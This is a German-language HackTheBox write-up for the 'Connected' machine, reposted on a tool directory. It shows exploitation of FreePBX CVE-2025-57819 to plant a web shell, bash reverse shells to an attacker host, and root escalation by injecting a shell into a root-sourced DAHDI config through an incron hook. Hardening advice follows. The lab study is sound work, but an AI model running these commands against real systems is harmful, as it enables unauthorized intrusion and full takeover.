Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
HackTheBox-Connected — Ausführlicher Penetrationstest-Bericht für die HackTheBox-Maschine „Connected“, der die Ausnutzung von FreePBX CVE-2025-57819 (SQLi zu RCE) und die Privilegienausweitung über eine Incron-Fehlkonfiguration bis hin zu Root behandelt. | Kitploit
Tools/GitHubGitHub/ikmalhanaan/hackthebox-connected
Privilege EscalationAufklärungSchwachstellenanalyseExploitationWebanwendungs-ExploitationCTFPenetrationstestsLernen & Bildung

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
ikmalhanaan/hackthebox-connected

HackTheBox-Connected

Ausführlicher Penetrationstest-Bericht für die HackTheBox-Maschine „Connected“, der die Ausnutzung von FreePBX CVE-2025-57819 (SQLi zu RCE) und die Privilegienausweitung über eine Incron-Fehlkonfiguration bis hin zu Root behandelt.

Repository anzeigen
vor 14 TagenNoch nicht geprüft

HTB Connected Completed Banner

Hack The Box: Connected — Professioneller Penetrationstest-Writeup


📋 Zusammenfassung (Executive Summary)

Connected ist eine Linux-Maschine auf Basis von CentOS, die das VoIP-Kommunikationssystem FreePBX v16.0.40.7 in Verbindung mit Asterisk ausführt.

Der Exploit-Ablauf (Attack Vector / Kill Chain) besteht aus zwei Hauptphasen:

  1. Initial Foothold (Erstzugriff): Ausnutzung der kritischen Schwachstelle CVE-2025-57819 (Unauthenticated Authentication Bypass & SQL Injection leading to Remote Code Execution / RCE) in FreePBX, um eine Web Shell zu platzieren und eine Reverse Shell als Dienstbenutzer asterisk zu erhalten.
  2. Privilege Escalation (Rechteausweitung auf Root): Durchführung eines Audits der lokalen Systemkonfiguration und Entdeckung des incron-Daemons (inotify cron), der Spool-Dateien überwacht. Dieser Trigger führt das Root-Skript /usr/sbin/sysadmin_dahdi_restart aus, sobald in die Datei /var/spool/asterisk/sysadmin/dahdi_restart geschrieben wird. Da die DAHDI-Konfigurationsdatei /etc/dahdi/init.conf für den Benutzer asterisk beschreibbar ist, wird die eingeschleuste Reverse-Shell-Payload in diese Konfigurationsdatei automatisch mit root-Rechten (uid=0) ausgeführt.

📑 Inhaltsverzeichnis (Table of Contents)

  1. Maschinen- & Testumgebungsinformationen
  2. Phase 1: Reconnaissance & Port Scanning (Netzwerkerkundung)
  3. Phase 2: Web-Enumeration & Schwachstellenidentifizierung
  4. Phase 3: Initial Foothold (Ausnutzung von CVE-2025-57819)
  5. Phase 4: Post-Exploitation & Privilege Escalation (Auf dem Weg zu Root)
  6. Phase 5: Ursachenanalyse & Empfehlungen zur Absicherung (Hardening)
  7. MITRE ATT&CK-Zuordnung

1. Maschinen- & Testumgebungsinformationen


2. Phase 1: Reconnaissance & Port Scanning (Netzwerkerkundung)

Der erste Schritt des Penetrationstests beginnt mit aktiver Aufklärung mittels nmap, um offene Ports, laufende Dienste und die Systemversion zu identifizieren.

2.1 Durchführung eines umfassenden Nmap-Scans

root@kitploit:~
mkdir -p recon
nmap -T4 -sC -sV <IP_TARGET> -oA recon/nmap_quick

Erklärung der Nmap-Flags:

  • -T4: Setzt eine aggressive Timing-Vorlage für einen schnelleren und effizienteren Scan.
  • -sC: Führt den Satz an Standard-NSE (Nmap Scripting Engine) Skripten zur Erkennung grundlegender Schwachstellen aus.
  • -sV: Aktiviert die Dienst- und Versionserkennung auf jedem antwortenden Port.
  • -oA recon/nmap_quick: Speichert alle Ausgabeformate (Standard, grepable, XML) im Verzeichnis recon.

2.2 Ergebnisse der Port- & Diensteanalyse

root@kitploit:~
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for <IP_TARGET>
Host is up (0.25s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 4e:60:38:6f:e7:78:6c:ca:58:62:a1:f1:56:ae:8d:30 (RSA)
|   256 12:41:55:26:9d:ad:3d:e8:bf:4e:31:aa:d7:d1:a5:d2 (ECDSA)
|_  256 8e:b6:96:e0:21:83:5d:1d:ce:8d:e2:6a:dd:38:c6:75 (ED25519)
80/tcp  open  http     Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
|_http-title: Did not follow redirect to http://connected.htb/
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
443/tcp open  ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
| ssl-cert: Subject: commonName=pbxconnect/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2025-11-30T14:07:27
|_Not valid after:  2026-11-30T14:07:27
|_http-title: 400 Bad Request
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16

Nmap Scan Result

2.3 Wichtige Erkenntnisse aus dem Scan:

  1. Port 22 (SSH): Verwendet OpenSSH Version 7.4 (typisch für CentOS 7).
  2. Port 80 & 443 (HTTP/HTTPS): Verwendet den Apache-Webserver 2.4.6 mit PHP-Laufzeit 7.4.16. Der Webserver antwortet mit einer HTTP-Weiterleitung auf die Domain http://connected.htb/.

3. Phase 2: Web-Enumeration & Schwachstellenidentifizierung

3.1 Konfiguration des lokalen DNS-Mappings

Da der Webserver virtuelles Hosting verwendet und den Datenverkehr auf connected.htb umleitet, müssen wir die lokale Namensauflösung in /etc/hosts ergänzen:

root@kitploit:~
echo "<IP_TARGET> connected.htb" | sudo tee -a /etc/hosts

3.2 Fingerprinting der Webanwendung (FreePBX)

Der Aufruf der URL http://connected.htb/admin/config.php über den Browser zeigt die webbasierte VoIP-Verwaltungsoberfläche:

FreePBX Web Interface

Aus der Fußzeile der Webseite erhalten wir die spezifische Versionsinformation:

root@kitploit:~
FreePBX is a registered trademark of Sangoma Technologies Inc.
FreePBX 16.0.40.7 is licensed under the GPL
Copyright© 2007-2026
  • Anwendung: FreePBX Administration
  • Version: 16.0.40.7
  • Hersteller: Sangoma Technologies Inc.

4. Phase 3: Initial Foothold (Ausnutzung von CVE-2025-57819)

4.1 Schwachstellenanalyse (Vulnerability Analysis)

Die Version FreePBX 16.0.40.7 ist anfällig für CVE-2025-57819. Diese Schwachstelle ist eine Pre-Authentication SQL Injection, die es einem Angreifer ohne Anmeldedaten (unauthenticated attacker) ermöglicht, die Backend-Datenbank von FreePBX/Asterisk zu manipulieren.

Durch diese SQL-Injection kann der Angreifer die interne Cron-Job-Tabelle von Asterisk (asterisk.cron_jobs) modifizieren oder beliebigen PHP-Code in das Webserver-Verzeichnis injizieren (was zu einer Web Shell führt), was letztendlich in Remote Code Execution (RCE) mündet.

4.2 Vorbereitung und Ausführung des Exploits

Wir nutzen den öffentlichen PoC-Exploit von WatchTowr Labs:

root@kitploit:~
# 1. Exploit-Repository klonen
git clone https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819
cd watchTowr-vs-FreePBX-CVE-2025-57819

# 2. Exploit-Skript gegen das Ziel ausführen
python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb

WatchTowr Exploit Execution

Ergebnis der Exploit-Ausführung: Das Skript hat das Ziel erfolgreich ausgenutzt und eine aktive Webshell am Endpunkt erstellt:

root@kitploit:~
http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php?cmd=<COMMAND>

4.3 Herstellen einer Reverse Shell & Erlangen der User Flag

Um eine interaktive Sitzung (Reverse Shell) zu erhalten, führen Sie die folgenden Schritte aus:

  1. Netcat-Listener auf dem Angreifer-Rechner (Attacker Machine) öffnen:

    root@kitploit:~
    nc -lvnp 1212
    
  2. Reverse-Shell-Payload über die Web Shell senden: Senden Sie die Reverse-Shell-Payload mit curl und URL-kodierten Parametern:

    root@kitploit:~
    curl -G "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php" \
      --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/1212 0>&1'"
    
  3. Reverse-Shell-Verbindung erfolgreich empfangen: Die Verbindung geht am nc-Listener ein und wir erhalten eine interaktive Shell als Benutzer asterisk.

Reverse Shell and User Flag

  1. User Flag abrufen:
    root@kitploit:~
    [asterisk@connected html]$ cat /home/asterisk/user.txt
    

5. Phase 4: Post-Exploitation & Privilege Escalation (Auf dem Weg zu Root)

Nachdem wir Zugriff als Benutzer asterisk erhalten haben, besteht der nächste Schritt in der internen Enumeration, um einen Vektor zur Privilege Escalation auf root zu finden.

5.1 Enumeration des Daemons & Datei-Monitors (incron)

Wir untersuchen die Konfiguration des incron-Daemons (inotify cron table), einem Dienst, der Befehle bei Dateisystemereignissen (wie Dateiänderungen oder -erstellungen) ausführt:

root@kitploit:~
[asterisk@connected html]$ cat /etc/incron.d/*

Ausgabe der Incron-Konfiguration:

root@kitploit:~
/var/spool/asterisk/sysadmin/vpngat IN_CLOSE_WRITE /usr/sbin/sysadmin_openvpn -d
/var/spool/asterisk/sysadmin/intrusion_detection_stop IN_CLOSE_WRITE /etc/init.d/fail2ban stop
/var/spool/asterisk/sysadmin/update_system_cron IN_CLOSE_WRITE /usr/sbin/sysadmin_update_set_cron
/var/spool/asterisk/sysadmin/portmgmt_setup IN_CLOSE_WRITE /usr/sbin/sysadmin_portmgmt
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart

Analyse der Incron-Regeln:

  • Zeile: /var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
  • Mechanismus: Wann immer die Datei /var/spool/asterisk/sysadmin/dahdi_restart nach einem Schreibvorgang geschlossen wird (IN_CLOSE_WRITE), führt das System automatisch das Skript /usr/sbin/sysadmin_dahdi_restart mit root-Rechten aus.

5.2 Analyse des DAHDI-Skripts & der beschreibbaren Dateiberechtigung

Eine weitere Untersuchung des Skripts /usr/sbin/sysadmin_dahdi_restart zeigt, dass es den DAHDI-Dienst (Digium Asterisk Hardware Device Interface) neu startet und die Konfigurationsdatei /etc/dahdi/init.conf ausführt bzw. lädt (source).

Die Überprüfung der Berechtigungen der Datei /etc/dahdi/init.conf zeigt, dass die Datei für den Benutzer asterisk beschreibbar ist:

root@kitploit:~
ls -la /etc/dahdi/init.conf
# -rw-rw-r-- 1 root asterisk ... /etc/dahdi/init.conf

5.3 Ausnutzung: Payload-Injektion & Auslösen des Incron-Ereignisses

Da /etc/dahdi/init.conf beim Neustart von DAHDI im Kontext von root ausgeführt wird, können wir einen Reverse-Shell-Befehl in diese Konfigurationsdatei einfügen und den Neustart dann über incron auslösen.

  1. Neuen Listener auf dem Angreifer-Rechner öffnen (Port 4545):

    root@kitploit:~
    nc -lvnp 4545
    

    Root Netcat Listener

  2. Reverse Shell in /etc/dahdi/init.conf einfügen:

    root@kitploit:~
    echo "bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/4545 0>&1'" >> /etc/dahdi/init.conf
    
  3. Incron-Ereignis durch Schreiben in die Spool-Datei auslösen (Trigger):

    root@kitploit:~
    echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restart
    

    Payload Injection & Trigger

5.4 Root-Shell & Flag-Erbeutung

Wenige Sekunden nachdem incron das Dateischreibereignis verarbeitet hat, führt das Root-Skript die eingefügte Befehlszeile aus und erzeugt eine Reverse-Shell-Verbindung als root (uid=0):

Root Shell and Flag

root@kitploit:~
[root@connected /]# id
uid=0(root) gid=0(root) groups=0(root)

[root@connected /]# whoami
root

[root@connected /]# cat /root/root.txt

6. Phase 5: Ursachenanalyse & Empfehlungen zur Absicherung (Hardening)


7. MITRE ATT&CK-Zuordnung


Geknackt von ikmalhanaan 🚀

Tool herunterladen
KomponenteSpezifikation / Beschreibung
MaschinennameConnected
BetriebssystemLinux (CentOS / FreePBX Distro)
Ziel-IP<IP_TARGET> (connected.htb)
Angreifer-IP<IP_VPN_KITA> (VPN-Schnittstelle tun0)
Kritische SchwachstelleCVE-2025-57819 (FreePBX Auth Bypass & SQLi to RCE)
PrivEsc-MechanismusFehlkonfigurierter Incron-Daemon-Hook + beschreibbare /etc/dahdi/init.conf
Verwendete Toolsnmap, curl, python3, netcat (nc), bash, git
SchwachstellenvektorAuswirkungEmpfehlung zur Behebung / Absicherung
FreePBX Pre-Auth SQLi (CVE-2025-57819)Kritisch — Ermöglicht RCE ohne Authentifizierung durch Datenbankinjektion.FreePBX auf die neueste offizielle Patch-Version von Sangoma aktualisieren. Strikte Eingabevalidierung sowie Prepared Statements / Parameterized Queries für alle API-Endpunkte implementieren.
Unsichere Dateiberechtigung (/etc/dahdi/init.conf)Hoch — Nicht autorisierter Benutzer (asterisk) kann eine Konfigurationsdatei ändern, die von root ausgeführt wird.Eigentümer- und Schreibrechte der Konfigurationsdatei einschränken: chmod 644 /etc/dahdi/init.conf und chown root:root /etc/dahdi/init.conf.
Automatische Root-Ausführung durch IncronMittel/Hoch — Automatisierte Root-Skripte laden Konfigurationsdateien ohne Integritätsprüfung.Alle incron-Regeln und Skripte unter /usr/sbin/sysadmin_* auditieren. Vermeiden Sie das Sourcing dynamischer Konfigurationsdateien, die anfällig für Änderungen durch Nicht-Root-Benutzer sind.
TaktikTechnik-IDTechniknameAnwendung auf der Box
ReconnaissanceT1595.002Active Scanning: Vulnerability ScanningPort- & Dienste-Scan mit nmap.
Initial AccessT1190Exploit Public-Facing ApplicationAusnutzung der Schwachstelle CVE-2025-57819 auf dem FreePBX-Webserver.
ExecutionT1059.004Command and Scripting Interpreter: Unix ShellAusführung von Bash-Reverse-Shell-Befehlen über Web Shell & Init-Skript.
Persistence / Privilege EscalationT1053.003Scheduled Task/Job: CronNutzung des incron-Daemons zur automatischen Ausführung von Root-Aufgaben.
Privilege EscalationT1574.009Hijack Execution Flow: Path/Configuration HijackingEinfügen schädlicher Befehle in die Konfigurationsdatei /etc/dahdi/init.conf.
Credential Access / CollectionT1005Data from Local SystemLesen der Flags user.txt und root.txt.